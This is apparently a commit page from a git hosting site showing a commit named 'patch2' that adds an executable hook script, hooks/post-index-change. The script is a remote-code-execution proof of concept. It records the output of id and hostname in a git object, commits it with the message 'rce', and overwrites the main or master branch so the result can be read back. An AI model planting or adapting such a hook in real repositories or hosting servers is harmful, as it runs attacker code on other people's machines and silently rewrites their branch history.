patch2
This commit is contained in:
11
hooks/post-index-change
Executable file
11
hooks/post-index-change
Executable file
@@ -0,0 +1,11 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
|
||||||
|
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
|
||||||
|
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
|
||||||
|
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
|
||||||
|
if [ -n "$HEAD_SHA" ]; then
|
||||||
|
COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
|
||||||
|
else
|
||||||
|
COMMIT=$(git commit-tree "$TREE" -m "rce")
|
||||||
|
fi
|
||||||
|
git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null
|
||||||
Reference in New Issue
Block a user